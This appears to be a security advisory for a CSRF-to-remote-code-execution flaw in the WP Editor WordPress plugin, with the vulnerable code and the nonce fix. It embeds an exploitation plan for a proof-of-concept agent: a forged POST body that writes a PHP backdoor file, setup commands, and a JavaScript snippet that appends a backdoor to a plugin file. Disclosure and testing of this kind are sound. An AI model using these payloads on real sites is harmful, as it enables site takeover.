WP Editor <= 1.2.9.2 - Cross-Site Request Forgery to Remote Code Execution via Plugin and Theme File Editor
Description
The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.9.2. This is due to missing nonce verification in the 'add_plugins_page' and 'add_themes_page' functions. This makes it possible for unauthenticated attackers to overwrite arbitrary plugin and theme PHP files with attacker-controlled code via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.2.9.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-3772 ## 1. Vulnerability Summary The **WP Editor** plugin (up to 1.2.9.2) is vulnerable to **Cross-Site Request Forgery (CSRF)** leading to **Remote Code Execution (RCE)**. The vulnerability exists in the plugin and theme file editor interfaces. While the U…
Show full research plan
Exploitation Research Plan - CVE-2026-3772
1. Vulnerability Summary
The WP Editor plugin (up to 1.2.9.2) is vulnerable to Cross-Site Request Forgery (CSRF) leading to Remote Code Execution (RCE). The vulnerability exists in the plugin and theme file editor interfaces.
While the UI views (views/plugin-editor.php and views/theme-editor.php) include nonce fields generated via wp_nonce_field(), the corresponding processing logic in WPEditorPlugins::add_plugins_page() and WPEditorThemes::add_themes_page() fails to verify these nonces before writing attacker-controlled content to PHP files on the server. An unauthenticated attacker can trick a logged-in administrator into submitting a forged request that overwrites arbitrary plugin or theme files with malicious PHP code.
2. Attack Vector Analysis
- Vulnerable Endpoints:
- Plugin Editor:
wp-admin/plugins.php?page=wpeditor_plugin - Theme Editor:
wp-admin/themes.php?page=wpeditor_themes
- Plugin Editor:
- Vulnerable Parameters (POST):
new-content: The PHP code to be written to the file.plugin(for plugins): The plugin directory and filename (e.g.,wp-editor/wpeditor.php).file(for plugins/themes): The relative path to the file being edited.
- Authentication Level: Administrator (requires
edit_pluginsoredit_themescapabilities). - Preconditions: The targeted file must be writable by the web server.
3. Code Flow
- Entry Point: An administrator's browser is forced to send a POST request to
wp-admin/plugins.php?page=wpeditor_plugin. - Hook Registration: The plugin registers the menu pages which call
WPEditorPlugins::add_plugins_pageorWPEditorThemes::add_themes_page. - Permission Check: Both functions check for capabilities:
CSRF bypasses this check because the request is sent with the administrator's cookies.// classes/WPEditorPlugins.php line 6 if ( !current_user_can( 'edit_plugins' ) ) { ... } - Processing POST Data:
The function checks for$_POST['new-content']. Crucially, it does not callwp_verify_nonce()orcheck_admin_referer()before reaching the write logic. - Path Resolution:
The plugin determines the$real_filepath:// classes/WPEditorPlugins.php lines 25-53 if ( isset( $_REQUEST['plugin'] ) ) { $plugin = ... } if ( isset( $_REQUEST['file'] ) ) { $file = ... } $real_file = WP_PLUGIN_DIR . '/' . $plugin; - File Write (Sink):
The content is written directly to the filesystem:// classes/WPEditorPlugins.php lines 55-68 if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) { $new_content = stripslashes( $_POST['new-content'] ); $f = fopen( $real_file, 'w+' ); fwrite( $f, $new_content ); fclose( $f ); }
4. Nonce Acquisition Strategy
No nonce is required.
Although views/plugin-editor.php contains:
<?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] )); ?>
The logic in WPEditorPlugins.php and WPEditorThemes.php never verifies this nonce for the new-content update operation. Verification is only present for the create_plugin_new action, which is separate from the file-saving logic.
5. Exploitation Strategy
The goal is to overwrite a plugin file with a simple PHP payload that creates a secondary backdoor, ensuring the site remains functional while confirming RCE.
Step-by-Step Plan:
- Target Identification: Identify a writable file. The main plugin file
wp-editor/wpeditor.phpis a reliable target. - Payload Preparation: Create a payload that appends a small backdoor to the file or creates a new file.
- Forged Request: Execute a POST request via the
http_requesttool (acting as the "Administrator's browser").
Exploit Request (CSRF Simulation):
URL: http://<target>/wp-admin/plugins.php?page=wpeditor_plugin
Method: POST
Headers: Content-Type: application/x-www-form-urlencoded
Body:
plugin=wp-editor/wpeditor.php&file=wp-editor/wpeditor.php&new-content=<?php %23 WP Editor Backdoor %0Afile_put_contents(ABSPATH . "pwned.php", "<?php phpinfo();"); %0A%3F>
(Note: In a real CSRF, this would be an auto-submitting HTML form. For the PoC agent, we use http_request with admin cookies.)
6. Test Data Setup
- Install and Activate WP Editor:
wp plugin install wp-editor --version=1.2.9.2 --activate - Ensure File Writability:
chmod 666 /var/www/html/wp-content/plugins/wp-editor/wpeditor.php - Login as Admin: The execution agent should have the administrator session cookies loaded.
7. Expected Results
- The HTTP response should be a
200 OK(the page reloads showing the editor). - The plugin code in
wp-content/plugins/wp-editor/wpeditor.phpwill be overwritten with the payload. - Upon the next page load (which triggers
wpeditor.phpas it is active), the filepwned.phpwill be created in the WordPress root.
8. Verification Steps
- Check File Content via CLI:
grep "pwned.php" /var/www/html/wp-content/plugins/wp-editor/wpeditor.php - Verify Execution Result:
ls -la /var/www/html/pwned.php - Trigger the Backdoor via HTTP:
Usehttp_requesttoGET /pwned.phpand check for the "PHP Version" string.
9. Alternative Approaches
If overwriting the main plugin file crashes the site:
- Target Theme: Use the theme editor endpoint
wp-admin/themes.php?page=wpeditor_themesand targetstyle.css(if it's being treated as PHP) or a specific theme template likefooter.php. - Append Mode (If possible): Since the plugin uses
w+(truncate and write), we must provide the full content of the file if we want the site to keep working. A better PoC strategy is to read the content first viabrowser_evalor a separateGETrequest to the editor page, then POST theoriginal_content + payload.
Manual Payload for "Safe" Overwrite:
// Example browser_eval to get original content
let content = document.querySelector('#new-content').value;
let payload = content + "\n<?php file_put_contents(ABSPATH . 'pwned.php', 'success'); ?>";
// Then submit via fetch or form
Summary
The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 1.2.9.2 because it fails to perform nonce verification when saving changes in the plugin and theme file editors. An attacker can trick a logged-in administrator into visiting a malicious site that submits a forged POST request, allowing the attacker to overwrite arbitrary PHP files with malicious code to achieve Remote Code Execution (RCE).
Vulnerable Code
// classes/WPEditorPlugins.php lines 57-68 if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) { $new_content = stripslashes( $_POST['new-content'] ); if ( file_get_contents( $real_file ) === $new_content ) { WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" ); } else { $f = fopen( $real_file, 'w+' ); fwrite( $f, $new_content ); fclose( $f ); WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] just wrote to $real_file" ); } } --- // classes/WPEditorThemes.php lines 103-114 if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) { $new_content = stripslashes( $_POST['new-content'] ); if ( file_get_contents( $real_file ) === $new_content ) { WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" ); } else { $f = fopen( $real_file, 'w+' ); fwrite( $f, $new_content ); fclose( $f ); WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] just wrote to $real_file" ); } }
Security Fix
@@ -58,6 +58,10 @@ $real_file = WP_PLUGIN_DIR . '/' . $plugin; if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) { + // Verify nonce to prevent CSRF attacks - nonce must match the file being edited + if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-plugin_' . $real_file ) ) { + wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) ); + } $new_content = stripslashes( $_POST['new-content'] ); if ( file_get_contents( $real_file ) === $new_content ) { WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" ); @@ -101,6 +101,10 @@ $real_file = $current_theme_root . basename( $file ); if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) { + // Verify nonce to prevent CSRF attacks - nonce must match the file being edited + if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-theme_' . $real_file ) ) { + wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) ); + } $new_content = stripslashes( $_POST['new-content'] ); if ( file_get_contents( $real_file ) === $new_content ) { WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
Exploit Outline
The exploit leverages a Cross-Site Request Forgery (CSRF) vulnerability to overwrite PHP files via the plugin's custom file editor. An attacker identifies a target file (like the plugin's main file at `wp-editor/wpeditor.php`) and crafts a POST request to `wp-admin/plugins.php?page=wpeditor_plugin` (or `wp-admin/themes.php?page=wpeditor_themes`). The request includes a `new-content` parameter containing a PHP backdoor, as well as the path to the target file. Because the plugin logic fails to verify nonces for the file-writing operation, the attacker can force a logged-in administrator (with `edit_plugins` or `edit_themes` capabilities) to submit this request by tricking them into clicking a malicious link or visiting a site with an auto-submitting form. Once the file is overwritten, the attacker can execute arbitrary code by accessing the modified PHP file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.